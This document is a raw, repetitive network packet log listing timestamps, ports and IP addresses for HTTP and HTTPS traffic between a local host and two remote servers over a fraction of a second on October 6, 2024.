Oct 6, 2024 22:33:14.323515892 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.323528051 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.323539019 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.323548079 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.323560953 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.323570013 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.323581934 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.323596001 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.323606968 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.323616982 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.323630095 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.323638916 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.323652983 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.323662996 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.323673964 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.323684931 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.323705912 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.323940039 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.323954105 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.323961973 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.323975086 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.323999882 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.324012041 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.324022055 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.324033022 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.324047089 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.324057102 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.324069023 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.324080944 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.324090958 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.324103117 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.324114084 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.324127913 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.324136972 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.324150085 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.324160099 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.324172974 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.324182987 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.324196100 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.324206114 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.324218988 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.324229002 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.324240923 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.324249983 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.324263096 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.324271917 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.324285984 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.324295044 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.324310064 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.324318886 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.324341059 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.324691057 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.324706078 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.324721098 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.324736118 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.324743986 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.324754000 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.324768066 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.324776888 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.324788094 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.324804068 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.324812889 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.324821949 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.324835062 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.324896097 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.324909925 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.324924946 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.324934959 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.324945927 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.324960947 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.324968100 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.325007915 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.340920925 CEST	443	49783	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:14.341399908 CEST	49783	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:14.341435909 CEST	443	49783	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:14.341835976 CEST	49783	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:14.341844082 CEST	443	49783	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:14.347493887 CEST	443	49781	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:14.347565889 CEST	443	49781	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:14.347615004 CEST	49781	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:14.347752094 CEST	49781	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:14.347762108 CEST	443	49781	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:14.347774029 CEST	49781	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:14.347779036 CEST	443	49781	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:14.350281954 CEST	49786	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:14.350336075 CEST	443	49786	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:14.350418091 CEST	49786	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:14.350539923 CEST	49786	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:14.350558996 CEST	443	49786	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:14.374717951 CEST	443	49785	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:14.375217915 CEST	49785	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:14.375247002 CEST	443	49785	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:14.375806093 CEST	49785	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:14.375813007 CEST	443	49785	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:14.394977093 CEST	443	49784	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:14.395596981 CEST	49784	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:14.395618916 CEST	443	49784	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:14.396097898 CEST	49784	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:14.396104097 CEST	443	49784	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:14.396437883 CEST	443	49782	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:14.396598101 CEST	443	49782	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:14.396651983 CEST	49782	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:14.396765947 CEST	49782	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:14.396771908 CEST	443	49782	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:14.396780968 CEST	49782	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:14.396785021 CEST	443	49782	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:14.399826050 CEST	49787	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:14.399852991 CEST	443	49787	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:14.399966955 CEST	49787	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:14.401101112 CEST	49787	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:14.401115894 CEST	443	49787	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:14.406085014 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.406172037 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.406188011 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.406203032 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.406229973 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.406238079 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.406254053 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.406265020 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.406280041 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.406291962 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.406306028 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.406316996 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.406332016 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.406352997 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.406372070 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.406388044 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.406404018 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.406414032 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.406435966 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.406450033 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.406480074 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.406495094 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.406511068 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.406521082 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.406542063 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.406563997 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.406586885 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.406603098 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.406626940 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.406639099 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.406651974 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.406662941 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.406683922 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.406701088 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.406728983 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.406744003 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.406759977 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.406774998 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.406785965 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.406804085 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.406811953 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.406845093 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.406856060 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.406896114 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.406910896 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.406927109 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.406941891 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.406963110 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.406972885 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.406980038 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.407011032 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.407114983 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.407130957 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.407146931 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.407166004 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.407176971 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.407191992 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.407202959 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.407217026 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.407241106 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.407263994 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.407303095 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.407318115 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.407334089 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.407346964 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.407356977 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.407371998 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.407407999 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.407454014 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.407469988 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.407485008 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.407500029 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.407510042 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.407530069 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.407541990 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.407558918 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.407568932 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.407586098 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.407597065 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.407610893 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.407618046 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.407632113 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.407643080 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.407653093 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.407665968 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.407685041 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.407692909 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.407700062 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.407713890 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.407725096 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.407737017 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.407752991 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.407762051 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.407773972 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.407793999 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.407994986 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.408010006 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.408025980 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.408041954 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.408056974 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.408081055 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.408123970 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.408149004 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.408164978 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.408179998 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.408193111 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.408207893 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.408302069 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.408317089 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.408327103 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.408345938 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.408354044 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.408368111 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.408377886 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.408390999 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.408401012 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.408415079 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.408423901 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.408435106 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.408444881 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.408456087 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.408469915 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.408487082 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.408500910 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.408509016 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.408524036 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.408539057 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.408552885 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.408571005 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.408586025 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.408598900 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.408611059 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.408626080 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.408636093 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.408655882 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.408694029 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.408912897 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.408927917 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.408942938 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.408957005 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.408977985 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.408989906 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.409009933 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.409018040 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.409030914 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.409040928 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.409056902 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.409065962 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.409082890 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.409090996 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.409102917 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.409112930 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.409122944 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.409136057 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.409152985 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.409161091 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.409178019 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.409185886 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.409198046 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.409210920 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.409224033 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.409235001 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.409251928 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.409259081 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.409272909 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.409285069 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.409301996 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.409317970 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.409326077 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.409338951 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.409424067 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.409523964 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.409564018 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.409579992 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.409595013 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.409610987 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.409626961 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.409642935 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.409653902 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.409667015 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.409692049 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.409713984 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.409846067 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.409862041 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.409919977 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.409934998 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.409950972 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.409961939 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.409975052 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.409991026 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.410001993 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.410013914 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.410023928 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.410039902 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.410053968 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.410087109 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.410105944 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.410120964 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.410135984 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.410150051 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.410166025 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.410181999 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.410191059 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.410202980 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.410223961 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.410247087 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.443367958 CEST	443	49783	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:14.443521976 CEST	443	49783	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:14.443646908 CEST	49783	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:14.463520050 CEST	49783	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:14.463552952 CEST	443	49783	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:14.463593006 CEST	49783	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:14.463601112 CEST	443	49783	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:14.466732979 CEST	49788	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:14.466753006 CEST	443	49788	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:14.466845036 CEST	49788	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:14.466984034 CEST	49788	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:14.466991901 CEST	443	49788	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:14.474186897 CEST	443	49785	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:14.474232912 CEST	443	49785	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:14.474291086 CEST	49785	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:14.492418051 CEST	80	49741	141.98.233.156	192.168.2.4
